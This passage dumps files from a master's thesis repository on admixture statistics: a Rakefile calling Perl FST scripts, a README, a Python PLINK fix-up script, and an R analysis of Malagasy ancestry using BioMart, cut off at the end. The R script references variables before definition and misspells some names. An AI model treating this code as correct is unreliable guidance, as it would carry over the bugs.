"817b2cfd9196874d55a9a56123534e6ff7808398", "content_id": "d099667effdc8454014c45894ba4f53a815cb1d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 847, "license_type": "no_license", "max_line_length": 90, "num_lines": 81, "path": "/Scripts/FST_Calc/Rakefile.rb", "repo_name": "bioanth3807/Developing_Novel_Statistic", "src_encoding": "UTF-8", "text": "#!/usr/local/bin/ruby\n\n\nSCRIPTS = \"scripts\"\nRESULTS = \"results\"\nPLINKIN = \"./Data/sims\"\n\nPOP = \"./Data/population_information.txt\"\n\n\nPAIRS = \"./Data/Population_pairs.txt\"\n\nLOCATION = \"./Data/testpopname.csv\"\n\nSOURCE1 = \"PARENT1\"\nSOURCE2 = \"PARENT2\"\n\n\nPREFIX = \"Sims_FST\"\n\n\n\n\n\n\n# directory tasks\n\ndirectory RESULTS\n\n\n\n# processing tasks\n\n\nFSTDIR = \"#{RESULTS}/#{PREFIX}_pairwise_results\"\n\n\nFSTLOG = \"#{RESULTS}/#{PREFIX}.log\"\n\n\n\nfile FSTLOG => [RESULTS] do\n\tsh \"./#{SCRIPTS}/Fst.pl #{PLINKIN} #{POP} #{PAIRS} #{FSTDIR} #{FSTLOG}\"\nend\n\n\n\n\n\n\n\n\nFSTRTABLE = \"#{RESULTS}/#{PREFIX}.Rtable\"\n\nfile FSTRTABLE => [FSTLOG] do\n\tsh \"./#{SCRIPTS}/Fst_combine.pl #{FSTDIR} #{LOCATION} #{SOURCE1} #{SOURCE2} #{FSTRTABLE}\"\nend\n\n\n\n\n\n\n\n\n\n# cleaning tasks\n\ntask :clobber => [RESULTS] do\n\tsh \"rm -r #{RESULTS}\"\nend\n\n\n\n\n\n# default\n\n\n\ntask :default => [FSTLOG, FSTRTABLE]" }, { "alpha_fraction": 0.8193979859352112, "alphanum_fraction": 0.8227424621582031, "avg_line_length": 67.92308044433594, "blob_id": "4011331d3b697f1d56b799e9e9da1ac465548fbb", "content_id": "5ec991f5c9542642c470732011970de27214c574", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 897, "license_type": "no_license", "max_line_length": 122, "num_lines": 13, "path": "/README.md", "repo_name": "bioanth3807/Developing_Novel_Statistic", "src_encoding": "UTF-8", "text": "# Developing_Novel_Statistic\nThis repository contains scripts relating to the master's thesis I have submitted to the University of Cambridge entitled,\n\"Developing a Novel Test Statistic for Measuring Ancestry Proportions in Recently-Admixed Human Populations\"\n\nThe Simulator folder contains the two python scripts used for generating simulated datasets 1 (model_admix.py)\nand 2 (model_admix2.py). The Dependencies subfolder contains all scripts called in the main program. \n\nFST_Calc contains perl scripts for calculating FST at each locus in a given dataset and the ruby rakefile \nrequired for calling these scripts. \n\nAnc_Candidate contains R scripts used for each dataset (simulated, Malagasy, African American). This has\nLSBL and ancestry calculations for all three datasets, formula exploration and figures for the simulated datasets,\nand BioMart extraction scripts for the human datasets. \n" }, { "alpha_fraction": 0.639053225517273, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 12.368420600891113, "blob_id": "82c160fc92fe3b24016a179837a98cafb637863c", "content_id": "45957bc09a876eb20279bc2d637054cd709350a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 507, "license_type": "no_license", "max_line_length": 39, "num_lines": 38, "path": "/Scripts/Simulator/Dependencies/bim_fix2.py", "repo_name": "bioanth3807/Developing_Novel_Statistic", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport fileinput\nfrom pandas_plink import read_plink\nimport pandas as pd\nfrom pyplink import PyPlink\nimport sys\n\n(bim, fam, bed) = read_plink(\n\t\"p2\", \n\tverbose = True\n\t)\n\t\nprint(bim.head())\n\nbim['snp'] = range(8001, 8001+len(bim))\n\nbim.drop(\n\t\"i\", \n\taxis=1, \n\tinplace=True\n\t)\n\nfiledata = bim.to_string(\n\theader=False, \n\tindex=False\n\t)\nprint(\"SNP IDs IN PLACE\")\n\nfiledata = filedata.replace(\"0.0\",\"0\")\nprint(bim.head())\n\n\nwith open(\"p2.bim\",\"w\") as file:\n\tfile.write(filedata)\n\n\nexit()" }, { "alpha_fraction": 0.6133535504341125, "alphanum_fraction": 0.637031614780426, "avg_line_length": 33.7185173034668, "blob_id": "545cdf3d65a8a94ee5268e42e1b86fb0e5df392d", "content_id": "f93de7ef8f2ebf5666495747e99bf0048f89b14a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 42191, "license_type": "no_license", "max_line_length": 122, "num_lines": 1215, "path": "/Scripts/Anc_Candidate/malagasy.R", "repo_name": "bioanth3807/Developing_Novel_Statistic", "src_encoding": "UTF-8", "text": "library(dplyr)\nlibrary(biomaRt)\n\nmalagasy <- read.table(\"~/Jason_Data/results/Malagasy_FST.RTable\", header=TRUE)\nhead(malagasy)\n\n#Set negative FST values positive, remove Malagasy-unique SNPs\nmalagasy <- malagasy %>%\n na.omit()\nmalagasy$FST_Borneo <- ifelse(malagasy$FST_Borneo < 0, 0, malagasy$FST_Borneo)\nmalagasy$FST_Luhya <- ifelse(malagasy$FST_Luhya < 0, 0, malagasy$FST_Luhya)\nmalagasy$FST_SOURCE <- ifelse(malagasy$FST_SOURCE < 0, 0, malagasy$FST_SOURCE)\nhead(malagasy)\n\n#Set outlier parameters\nparam <- (mean(malagasy$FST_SOURCE) + (3*sd(malagasy$FST_SOURCE)))\nparam\n\n#Calculate LSBL for each locus/pop\nmalagasy_LSBL <- malagasy %>%\n mutate(LSBL_Luhya = (((FST_SOURCE + FST_Luhya) - FST_Borneo)/2)) %>%\n mutate(LSBL_Borneo = (((FST_SOURCE + FST_Borneo) - FST_Luhya)/2)) %>%\n mutate(LSBL_Mad = (((FST_Borneo + FST_Luhya) - FST_SOURCE)/2))\nmalagasy_LSBL$LSBL_Borneo <- ifelse(malagasy_LSBL$LSBL_Borneo < 0, 0, malagasy_LSBL$LSBL_Borneo)\nmalagasy_LSBL$LSBL_Luhya <- ifelse(malagasy_LSBL$LSBL_Luhya < 0, 0, malagasy_LSBL$LSBL_Luhya) \nmalagasy_LSBL$LSBL_Mad <- ifelse(malagasy_LSBL$LSBL_Mad < 0, 0, malagasy_LSBL$LSBL_Mad)\nhead(malagasy_LSBL) \n\n#Calculate Ancestral proportions at each locus\nmalagasy_ANC <- malagasy_LSBL %>%\n mutate(Luhya_ANC = 1 - (LSBL_Luhya/(LSBL_Borneo + LSBL_Luhya))) %>%\n mutate(Borneo_ANC = 1 - (LSBL_Borneo/(LSBL_Luhya + LSBL_Borneo)))\nhead(malagasy_ANC)\n\nhist(malagasy_ANC$Luhya_ANC)\n\nmalagasy_ANC <- malagasy_ANC %>%\n mutate(LSBL_Parents = LSBL_Luhya + LSBL_Borneo)\n\n#Average Ancestry calculations\ntry1 <- malagasy_ANC[\n malagasy_ANC$LSBL_Parents >= quantile(malagasy_ANC$LSBL_Parents, 0.95),\n ]\n\nmean(try1$Luhya_ANC)\nmean(try1$Borneo_ANC)\n\n#ADMIXTURE\nadmixtableM = read.table(\"~/Jason_Data/Data/Madagascar_Duffy_map.2.Q\")\nadmixtableM <- admixtableM %>%\n slice(285:385, 530:663)\nmean(admixtableM$V1)\nmean(admixtableM$V2)\n\n#SD -- Time to Admixture?\nvarianceM <- var(malagasy_ANC$Luhya_ANC, na.rm = TRUE)\nvarianceM\n\n#Filter for outlying FST\nmalagasy_TOPANC <- malagasy_ANC %>%\n filter(malagasy_ANC$FST_SOURCE >= param)\n\n#Calculate DA between global average African ancestry and selected SNPs\nTOPANC <- malagasy_TOPANC %>%\n mutate(DA = ((AfAvM - (Luhya_ANC)/(LSBL_Borneo+LSBL_Luhya)))) %>%\n na.omit()\n\n#SNPs with outlying DA from average African ancestry\nTopM <- TOPANC[\n TOPANC$DA >= quantile(TOPANC$DA, 0.99),]\n\nBottomM <- TOPANC[\n TOPANC$DA <= quantile(TOPANC$DA, 0.01),]\n\nwrite.csv(TopM, \"~/Jason_Data/malTop.csv\")\nwrite.csv(BottomM, \"~/Jason_Data/malBottom.csv\")\n\n#BIOMART! Extract gene and SNP data from the BioMart Database (Sanger)\n\n#Adaptive Introgression\nsapiens.snp = useMart(\"ENSEMBL_MART_SNP\",\n dataset=\"hsapiens_snp\")\n\nsapiens = useMart(\"ensembl\",\n dataset='hsapiens_gene_ensembl')\n\nAdIntM <- TopM %>%\n dplyr::select(POP, RS) %>%\n rename(refsnp_id = RS)\n\nPurSelM <- BottomM %>%\n dplyr::select(POP, RS) %>%\n rename(refsnp_id = RS)\n\nT5 <- getBM(attributes = c(\"refsnp_id\", \"allele\", \"chr_name\", \"chrom_start\", \n \"clinical_significance\", \"associated_gene\", \n \"consequence_type_tv\",\n \"authors\", \"year\", \"pmid\", \"ensembl_gene_stable_id\"),\n filters = \"snp_filter\",\n values = AdIntM$refsnp_id,\n mart = sapiens.snp)\n\nT5 <- merge(AdIntM, T5, by.x = \"refsnp_id\")\n\nT6 <- getBM(attributes = c(\"ensembl_gene_id\", \"external_gene_name\", \"band\", \n \"start_position\",\"end_position\", \"phenotype_description\", \n \"entrezgene\", \"description\"),\n filters = \"ensembl_gene_id\",\n values = T5$ensembl_gene_stable_id,\n mart = sapiens)\n\nMalAdint <- merge(T5, T6, by.x = \"ensembl_gene_stable_id\", by.y=\"ensembl_gene_id\",all.x=T)\nAdintM <- data.frame(MalAdint)\n\nAdintM <- AdintM %>% \n dplyr::select(\"POP\", \"refsnp_id\", \"allele\", \"consequence_type_tv\", \"chr_name\", \"chrom_start\", \"associated_gene\", \n \"external_gene_name\", \"phenotype_description\", \"description\", \"authors\", \"year\", \"ensembl_gene_stable_id\") %>%\n arrange(chr_name)\nhead(AdintM)\n\nAdintM <- AdintM %>%\n group_by(POP, refsnp_id) %>% \n summarise(allele = paste(unique(allele), collapse = \"; \"),\n chr_name = paste(unique(chr_name), collapse = \"; \"),\n consequence_type_tv = paste(unique(consequence_type_tv), collapse = \"; \"),\n chrom_start = paste(unique(chrom_start), collapse = \"; \"),\n associated_gene = paste(unique(associated_gene), collapse = \"; \"),\n external_gene_name = paste(unique(external_gene_name), collapse = \"; \"),\n phenotype_description = paste(unique(phenotype_description), collapse = \"; \"),\n description = paste(unique(description), collapse = \"; \"),\n authors = paste((authors), collapse = \"; \"),\n year = paste((year), collapse = \"; \"),\n ensembl_gene_stable_id = paste(unique(ensembl_gene_stable_id), collapse = \"; \")) %>%\n arrange(POP, chr_name)\n\nhead(AdintM)\nAdintM <- AdintM %>% \n rename(\"Population\" = POP,\n \"SNP\" = refsnp_id, \n \"Ref/Alt\" = allele,\n \"SNP Function\" = consequence_type_tv,\n \"Chr\" = chr_name,\n \"Position\" = chrom_start,\n \"Gene (Associated)\" = associated_gene,\n \"Gene\" = external_gene_name,\n \"Associated Phenotype\" = phenotype_description,\n \"Gene Function\" = description,\n \"Authors\" = authors,\n \"Year\" = year, \n \"Ensembl ID\" = ensembl_gene_stable_id)\n\nwrite.csv(AdintM, \"./Jason_Data/maladint.csv\")\n\npantherAIm <- ungroup(AdintM) %>%\n dplyr::select(\"Ensembl ID\")\nhead(pantherAIm)\nwrite.csv(pantherAIm, \"~/Jason_Data/pantherAIm.csv\", quote = FALSE, row.names = FALSE)\n\n#Purifying Selection\nT7 <- getBM(attributes = c(\"refsnp_id\", \"allele\", \"chr_name\", \"chrom_start\", \n \"clinical_significance\", \"associated_gene\", \n \"consequence_type_tv\",\n \"authors\", \"year\", \"pmid\", \"ensembl_gene_stable_id\"),\n filters = \"snp_filter\",\n values = PurSelM$refsnp_id,\n mart = sapiens.snp)\n\nT7 <- merge(PurSelM, T7, by.x = \"refsnp_id\")\n\nT8 <- getBM(attributes = c(\"ensembl_gene_id\", \"external_gene_name\", \"band\", \n \"start_position\",\"end_position\", \"phenotype_description\", \n \"entrezgene\", \"description\"),\n filters = \"ensembl_gene_id\",\n values = T7$ensembl_gene_stable_id,\n mart = sapiens)\n\nMalPursel <- merge(T7, T8, by.x = \"ensembl_gene_stable_id\", by.y=\"ensembl_gene_id\",all.x=T)\n\nPurselM <- data.frame(MalPursel)\nhead(PurselM)\n\nPurselM <- PurselM %>% \n dplyr::select(\"POP\", \"refsnp_id\", \"allele\", \"consequence_type_tv\", \"chr_name\", \"chrom_start\", \"associated_gene\", \n \"external_gene_name\", \"phenotype_description\", \"description\", \"authors\", \"year\", \"ensembl_gene_stable_id\")\n\nPurselM <- PurselM %>%\n group_by(POP, refsnp_id) %>% \n summarise(allele = paste(unique(allele), collapse = \"; \"),\n chr_name = paste(unique(chr_name), collapse = \"; \"),\n consequence_type_tv = paste(unique(consequence_type_tv), collapse = \"; \"),\n chrom_start = paste(unique(chrom_start), collapse = \"; \"),\n associated_gene = paste(unique(associated_gene), collapse = \"; \"),\n external_gene_name = paste(unique(external_gene_name), collapse = \"; \"),\n phenotype_description = paste(unique(phenotype_description), collapse = \"; \"),\n description = paste(unique(description), collapse = \"; \"),\n authors = paste((authors), collapse = \"; \"),\n year = paste((year), collapse = \"; \"),\n ensembl_gene_stable_id = paste(unique(ensembl_gene_stable_id), collapse = \"; \")) %>%\n arrange(POP, chr_name)\n\nPurselM <- PurselM %>% \n rename(\"Population\" = POP,\n \"SNP\" = refsnp_id, \n \"Ref/Alt\" = allele,\n \"SNP Function\" = consequence_type_tv,\n \"Chr\" = chr_name,\n \"Position\" = chrom_start,\n \"Gene (Associated)\" = associated_gene,\n \"Gene\" = external_gene_name,\n \"Associated Phenotype\" = phenotype_description,\n \"Gene Function\" = description,\n \"Authors\" = authors,\n \"Year\" = year, \n \"Ensembl ID\" = ensembl_gene_stable_id) \n\nwrite.csv(PurselM, \"./Jason_Data/malpursel.csv\")\n\npantherPSm <- ungroup(PurselM) %>%\n dplyr::select(\"Ensembl ID\")\nhead(pantherPSm)\nwrite.csv(pantherPSm, \"~/Jason_Data/pantherPSm.csv\", quote = FALSE, row.names = FALSE)\n\n#LSBL Tree for Duffy null loci\n#LSBL Trees for Duffy null loci\nhead(malagasy_ANC)\n\nrs12075 <- malagasy_ANC %>%\n filter(RS == \"rs12075\")\nrs12075\n\nmean(rs12075$Luhya_ANC)\nmean(rs12075$FST_Luhya)\nmean(rs12075$FST_SOURCE)\nmean(rs12075$FST_Borneo)\nmean(rs12075$Borneo_ANC)\nmean(rs12075$LSBL_Borneo)\nmean(rs12075$LSBL_Luhya)\nmean(rs12075$LSBL_Mad)\nmean(rs12075$LSBL_Parents)\n\nrs12075 <- add_row(rs12075, RS = \"12075\", POP = \"Average\", REG = \"Madagascar\",\n CHR = \"1\", POS = 159175354, FST_Luhya = 0.1938207, FST_Borneo = 0.7652271, FST_SOURCE = 0.945351,\n LSBL_Luhya = 0.1869723, LSBL_Borneo = 0.7583787, LSBL_Mad = 0.01468443, \n Luhya_ANC = 0.8022192, Borneo_ANC = 0.1977808, LSBL_Parents = 0.945351)\n\nrs12075_2 <- rs12075 %>%\n filter(POP == \"Average\") %>%\n dplyr::select(LSBL_Mad, LSBL_Luhya, LSBL_Borneo) %>%\n rename(\"Malagasy\" = LSBL_Mad,\n \"Luhya\" = LSBL_Luhya,\n \"Borneo\" = LSBL_Borneo)\n\nrs12075_2 <- as.matrix(rs10489849_2, rownames.force = NA)\nrs12075_2.tree1 <- hclust(dist(rs12075_2[1,]))\nrs12075_2.tree <- plot(\n as.phylo(rs12075_2.tree1),\n tip.color = c(\"purple\",\"blue\", \"red\"),\n type = \"unrooted\")\nrs12075_2.tree\n\n\nrs10489849 <- malagasy_ANC %>%\n filter(RS == \"rs10489849\")\nrs10489849\n\nmean(rs10489849$Luhya_ANC)\nmean(rs10489849$FST_Luhya)\nmean(rs10489849$FST_SOURCE)\n\nmean(rs10489849$FST_Borneo)\nmean(rs10489849$Borneo_ANC)\nmean(rs10489849$LSBL_Luhya)\nmean(rs10489849$LSBL_Borneo)\nmean(rs10489849$LSBL_Mad)\nmean(rs10489849$LSBL_Parents)\n\nrs10489849 <- add_row(rs10489849, RS = \"10489849\", POP = \"Average\", REG = \"Madagascar\",\n CHR = \"1\", POS = 1596765, FST_Luhya = 0.04969964, FST_Borneo = 0.6040314, FST_SOURCE = 0.625071,\n LSBL_Luhya = 0.05304201, LSBL_Borneo = 0.5897014, LSBL_Mad = 0.02012332, Luhya_ANC = 0.9151424,\n Borneo_ANC = 0.08485757, LSBL_Parents = 0.6427434\n )\n\nrs10489849_2 <- rs10489849 %>%\n filter(POP == \"Average\") %>%\n dplyr::select(LSBL_Mad, LSBL_Luhya, LSBL_Borneo) %>%\n rename(\"Malagasy\" = LSBL_Mad,\n \"Luhya\" = LSBL_Luhya,\n \"Borneo\" = LSBL_Borneo)\n\nrs10489849_2 <- as.matrix(rs10489849_2, rownames.force = NA)\nrs10489849_2.tree1 <- hclust(dist(rs10489849_2[1,]))\nrs10489849_2.tree <- plot(\n as.phylo(rs10489849_2.tree1),\n tip.color = c(\"purple\",\"blue\", \"red\"),\n type = \"unrooted\")\n\nrs2814778 <- malagasy_ANC %>%\n filter(RS == \"rs2814778\")\nrs2814778\n\nmean(rs2814778$Luhya_ANC)\nmean(rs2814778$Borneo_ANC)\nmean(rs2814778$FST_Luhya)\nmean(rs2814778$FST_Borneo)\nmean(rs2814778$FST_SOURCE)\n\nmean(rs2814778$LSBL_Borneo)\nmean(rs2814778$LSBL_Luhya)\nmean(rs2814778$LSBL_Mad)\n\nrs2814778 <- add_row(rs2814778, RS = \"rs2814778\", POP = \"Average\", REG = \"Madagascar\", CHR = \"1\",\n POS = 159174683, FST_Luhya = 0.1962074, FST_Borneo = 0.8724892,\n FST_SOURCE = 1, LSBL_Luhya = 0.1618591, LSBL_Borneo = 0.8381409,\n LSBL_Mad = 0.03434832, Luhya_ANC = 0.8381409, Borneo_ANC = 0.1618591,\n LSBL_Parents = 1)\n\nrs2814778_2 <- rs2814778 %>%\n filter(POP == \"Average\") %>%\n dplyr::select(LSBL_Mad, LSBL_Luhya, LSBL_Borneo) %>%\n rename(\"Malagasy\" = LSBL_Mad,\n \"Luhya\" = LSBL_Luhya,\n \"Borneo\" = LSBL_Borneo)\n\nrs2814778_2 <- as.matrix(rs2814778_2, rownames.force = NA)\nrs2814778_2.tree1 <- hclust(dist(rs2814778_2[1,]))\nrs2814778_2.tree <- plot(\n as.phylo(rs2814778_2.tree1),\n tip.color = c(\"purple\",\"blue\", \"red\"),\n type = \"unrooted\")\n\nrs12075_2.tree\nrs10489849_2.tree\nrs2814778_2.tree\n\n#Separate Malagasy by population and rerun all above analysis\nBetsileo <- malagasy_ANC %>%\n filter(POP == \"Betsileo\")\n\nBetsileo_TOPANC <- Betsileo %>%\n filter(Betsileo$FST_SOURCE >= param)\n\nAfAvM <- weighted.mean(Betsileo$Luhya_ANC, (Betsileo$LSBL_Luhya+Betsileo$LSBL_Borneo))\n\nBetsi <- Betsileo[\n Betsileo$LSBL_Parents >= quantile(Betsileo$LSBL_Parents, 0.95),\n ]\n\nmean(Betsi$Luhya_ANC)\n\nBetsileo_TOPANC <- Betsileo_TOPANC %>%\n mutate(AfAvM = AfAvM) %>%\n mutate(AfAvBetsi = AfAvBetsi) %>%\n mutate(DA = ((AfAvM - ((Luhya_ANC)/(Borneo_ANC+Luhya_ANC))))) %>%\n mutate(DAbetsi = ((AfAvBetsi - (Luhya_ANC)/(Luhya_ANC+Borneo_ANC)))) %>%\n na.omit()\n\nBetsileo_Top <- Betsileo_TOPANC[\n Betsileo_TOPANC$DA >= quantile(Betsileo_TOPANC$DAbetsi, 0.99),]\n\nBetsileo_Bottom <- Betsileo_TOPANC[\n Betsileo_TOPANC$DA <= quantile(Betsileo_TOPANC$DAbetsi, 0.01),]\n\nwrite.csv(Betsileo_Bottom, \"~/Jason_Data/ByPop/R_Output/Betsi_PS.csv\")\nwrite.csv(Betsileo_Top, \"~/Jason_Data/ByPop/R_Output/Betsi_AI.csv\")\n\nBetsimisaraka <- malagasy_ANC %>%\n filter(POP == \"Betsimisaraka\")\n\nBetsimisaraka_TOPANC <- Betsimisaraka %>%\n filter(Betsimisaraka$FST_SOURCE >= param)\n\nAfAvM <- weighted.mean(Betismisaraka$Luhya_ANC, (Betsimisaraka$LSBL_Luhya+Betsimisaraka$LSBL_Borneo))\n\n\nBetsimis <- Betsimisaraka[\n Betsimisaraka$LSBL_Parents >= quantile(Betsimisaraka$LSBL_Parents, 0.95),\n ]\n\nmean(Betsimis$Luhya_ANC)\n\nBetsimisaraka_TOPANC <- Betsimisaraka_TOPANC %>%\n mutate(AfAvM = AfAvM) %>%\n mutate(AfAvBetsimis = AfAvBetsimis) %>%\n mutate(DA = ((AfAvM - ((Luhya_ANC)/(Borneo_ANC+Luhya_ANC))))) %>%\n mutate(DAbetsimis = ((AfAvBetsimis - (Luhya_ANC)/(Luhya_ANC+Borneo_ANC)))) %>%\n na.omit()\n\n\nBetsimisaraka_TOPANC <- Betsimisaraka_TOPANC %>%\n mutate(DA = ((AfAvBetsimis - Luhya_ANC)*(LSBL_Borneo+LSBL_Luhya))) %>%\n na.omit()\n\nBetsimisaraka_Top <- Betsimisaraka_TOPANC[\n Betsimisaraka_TOPANC$DA >= quantile(Betsimisaraka_TOPANC$DAbetsimis, 0.99),]\n\nBetsimisaraka_Bottom <- Betsimisaraka_TOPANC[\n Betsimisaraka_TOPANC$DA <= quantile(Betsimisaraka_TOPANC$DAbetsimis, 0.01),]\n\nwrite.csv(Betsimisaraka_Bottom, \"~/Jason_Data/ByPop/R_Output/Betsimis_PS.csv\")\nwrite.csv(Betsimisaraka_Top, \"~/Jason_Data/ByPop/R_Output/Betsimis_AI.csv\")\n\nDiego <- malagasy_ANC %>%\n filter(POP == \"Diego\")\n\nDiego_TOPANC <- Diego %>%\n filter(Diego$FST_SOURCE >= param)\n\nAfAvM <- weighted.mean(Diego$Luhya_ANC, (Diego$LSBL_Luhya+Diego$LSBL_Borneo))\n\nDiego <- Diego[\n Diego$LSBL_Parents >= quantile(Diego$LSBL_Parents, 0.95),\n ]\n\nmean(Diego$Luhya_ANC)\n\nDiego_TOPANC <- Diego_TOPANC %>%\n mutate(AfAvM = AfAvM) %>%\n mutate(AfAvDiego = AfAvDiego) %>%\n mutate(DA = ((AfAvM - ((Luhya_ANC)/(Borneo_ANC+Luhya_ANC))))) %>%\n mutate(DAdiego = ((AfAvDiego - (Luhya_ANC)/(Luhya_ANC+Borneo_ANC)))) %>%\n na.omit()\n\nDiego_Top <- Diego_TOPANC[\n Diego_TOPANC$DA >= quantile(Diego_TOPANC$DAdiego, 0.99),]\n\nDiego_Bottom <- Diego_TOPANC[\n Diego_TOPANC$DA <= quantile(Diego_TOPANC$DAdiego, 0.01),]\n\nwrite.csv(Diego_Bottom, \"~/Jason_Data/ByPop/R_Output/Diego_PS.csv\")\nwrite.csv(Diego_Top, \"~/Jason_Data/ByPop/R_Output/Diego_AI.csv\")\n\nMikea <- malagasy_ANC %>%\n filter(POP == \"Mikea\")\n\nMikea_TOPANC <- Mikea %>%\n filter(Mikea$FST_SOURCE >= param)\n\nAfAvM <- weighted.mean(Mikea$Luhya_ANC, (Mikea$LSBL_Luhya+Mikea$LSBL_Borneo))\n\nMikea <- Mikea[\n Mikea$LSBL_Parents >= quantile(Mikea$LSBL_Parents, 0.95),\n ]\n\nmean(Mikea$Luhya_ANC)\n\nMikea_TOPANC <- Mikea_TOPANC %>%\n mutate(AfAvM = AfAvM) %>%\n mutate(AfAvMikea = AfAvMikea) %>%\n mutate(DA = ((AfAvM - ((Luhya_ANC)/(Borneo_ANC+Luhya_ANC))))) %>%\n mutate(DAmikea = ((AfAvMikea - (Luhya_ANC)/(Luhya_ANC+Borneo_ANC)))) %>%\n na.omit()\n\nMikea_Top <- Mikea_TOPANC[\n Mikea_TOPANC$DA >= quantile(Mikea_TOPANC$DAmikea, 0.99),]\n\nMikea_Bottom <- Mikea_TOPANC[\n Mikea_TOPANC$DA <= quantile(Mikea_TOPANC$DAmikea, 0.01),]\n\nwrite.csv(Mikea_Bottom, \"~/Jason_Data/ByPop/R_Output/Mikea_PS.csv\")\nwrite.csv(Mikea_Top, \"~/Jason_Data/ByPop/R_Output/Mikea_AI.csv\")\n\nMerina <- malagasy_ANC %>%\n filter(POP == \"Merina\")\n\nMerina_TOPANC <- Merina %>%\n filter(Merina$FST_SOURCE >= param)\n\nAfAvM <- weighted.mean(Merina$Luhya_ANC, (Merina$LSBL_Luhya+Merina$LSBL_Borneo))\n\nMerina <- Merina[\n Merina$LSBL_Parents >= quantile(Merina$LSBL_Parents, 0.95),\n ]\n\nmean(Merina$Luhya_ANC)\n\nMerina_TOPANC <- Merina_TOPANC %>%\n mutate(AfAvM = AfAvM) %>%\n mutate(AfAvMerina = AfAvMerina) %>%\n mutate(DA = ((AfAvM - ((Luhya_ANC)/(Borneo_ANC+Luhya_ANC))))) %>%\n mutate(DAmerina = ((AfAvMerina - (Luhya_ANC)/(Luhya_ANC+Borneo_ANC)))) %>%\n na.omit()\n\nMerina_Top <- Merina_TOPANC[\n Merina_TOPANC$DA >= quantile(Merina_TOPANC$DAmerina, 0.99),]\n\nMerina_Bottom <- Merina_TOPANC[\n Merina_TOPANC$DA <= quantile(Merina_TOPANC$DAmerina, 0.01),]\n\n\nwrite.csv(Merina_Bottom, \"~/Jason_Data/ByPop/R_Output/Merina_PS.csv\")\nwrite.csv(Merina_Top, \"~/Jason_Data/ByPop/R_Output/Merina_AI.csv\")\n\nSakalava_Tsimihety <- malagasy_ANC %>%\n filter(POP == \"Sakalava_Tsimihety\")\n\nSakalava_Tsimihety_TOPANC <- Sakalava_Tsimihety %>%\n filter(Sakalava_Tsimihety$FST_SOURCE >= param)\n\nAfAvSakTsim <- weighted.mean(Sakalava_Tsimihety$Luhya_ANC, (Sakalava_Tsimihety$LSBL_Luhya+Sakalava_Tsimihety$LSBL_Borneo))\n\nSakTsim <- Sakalava_Tsimihety[\n Sakalava_Tsimihety$LSBL_Parents >= quantile(Sakalava_Tsimihety$LSBL_Parents, 0.95),\n ]\n\nmean(SakTsim$Luhya_ANC)\n\nSakalava_Tsimihety_TOPANC <- Sakalava_Tsimihety_TOPANC %>%\n mutate(AfAvM = AfAvM) %>%\n mutate(AfAvSakTsim = AfAvSakTsim) %>%\n mutate(DA = ((AfAvM - ((Luhya_ANC)/(Borneo_ANC+Luhya_ANC))))) %>%\n mutate(DAsaktsim = ((AfAvSakTsim - (Luhya_ANC)/(Luhya_ANC+Borneo_ANC)))) %>%\n na.omit()\n\nhead(Sakalava_Tsimihety_TOPANC)\n\nSakalava_Tsimihety_Top <- Sakalava_Tsimihety_TOPANC[\n Sakalava_Tsimihety_TOPANC$DA >= quantile(Sakalava_Tsimihety_TOPANC$DAsaktsim, 0.99),]\n\nSakalava_Tsimihety_Bottom <- Sakalava_Tsimihety_TOPANC[\n Sakalava_Tsimihety_TOPANC$DA <= quantile(Sakalava_Tsimihety_TOPANC$DAsaktsim, 0.01),]\n\nwrite.csv(Sakalava_Tsimihety_Bottom, \"~/Jason_Data/ByPop/R_Output/SakTsim_PS.csv\")\nwrite.csv(Sakalava_Tsimihety_Top, \"~/Jason_Data/ByPop/R_Output/SakTsim_AI.csv\")\n\nTemoro <- malagasy_ANC %>%\n filter(POP == \"Temoro\")\n\nTemoro_TOPANC <- Temoro %>%\n filter(Temoro$FST_SOURCE >= param)\n\nAfAvTemoro <- weighted.mean(Temoro$Luhya_ANC, (Temoro$LSBL_Luhya+Temoro$LSBL_Borneo))\n\nTemoro <- Temoro[\n Temoro$LSBL_Parents >= quantile(Temoro$LSBL_Parents, 0.95),\n ]\n\nmean(Temoro$Luhya_ANC)\n\n\nTemoro_TOPANC <- Temoro_TOPANC %>%\n mutate(AfAvM = AfAvM) %>%\n mutate(AfAvTemoro = AfAvTemoro) %>%\n mutate(DA = ((AfAvM - ((Luhya_ANC)/(Borneo_ANC+Luhya_ANC))))) %>%\n mutate(DAtemoro = ((AfAvTemoro - (Luhya_ANC)/(Luhya_ANC+Borneo_ANC)))) %>%\n na.omit()\n\nTemoro_Top <- Temoro_TOPANC[\n Temoro_TOPANC$DA >= quantile(Temoro_TOPANC$DAtemoro, 0.99),]\n\nTemoro_Bottom <- Temoro_TOPANC[\n Temoro_TOPANC$DA <= quantile(Temoro_TOPANC$DAtemoro, 0.01),]\n\nwrite.csv(Temoro_Bottom, \"~/Jason_Data/ByPop/R_Output/Temoro_PS.csv\")\nwrite.csv(Temoro_Top, \"~/Jason_Data/ByPop/R_Output/Temoro_AI.csv\")\n\nVezo <- malagasy_ANC %>%\n filter(POP == \"Vezo\")\n\nVezo_TOPANC <- Vezo %>%\n filter(Vezo$FST_SOURCE >= param)\n\nAfAvVezo <- weighted.mean(Vezo$Luhya_ANC, (Vezo$LSBL_Luhya+Vezo$LSBL_Borneo))\n\nVezo <- Vezo[\n Vezo$LSBL_Parents >= quantile(Vezo$LSBL_Parents, 0.95),\n ]\n\nmean(Vezo$Luhya_ANC)\n\nVezo_TOPANC <- Vezo_TOPANC %>%\n mutate(AfAvM = AfAvM) %>%\n mutate(AfAvVezo = AfAvVezo) %>%\n mutate(DA = ((AfAvM - ((Luhya_ANC)/(Borneo_ANC+Luhya_ANC))))) %>%\n mutate(DAvezo = ((AfAvVezo - (Luhya_ANC)/(Luhya_ANC+Borneo_ANC)))) %>%\n na.omit()\n\nVezo_Top <- Vezo_TOPANC[\n Vezo_TOPANC$DA >= quantile(Vezo_TOPANC$DAvezo, 0.99),]\n\nVezo_Bottom <- Vezo_TOPANC[\n Vezo_TOPANC$DA <= quantile(Vezo_TOPANC$DAvezo, 0.01),]\n\nwrite.csv(Vezo_Bottom, \"~/Jason_Data/ByPop/R_Output/Vezo_PS.csv\")\nwrite.csv(Vezo_Top, 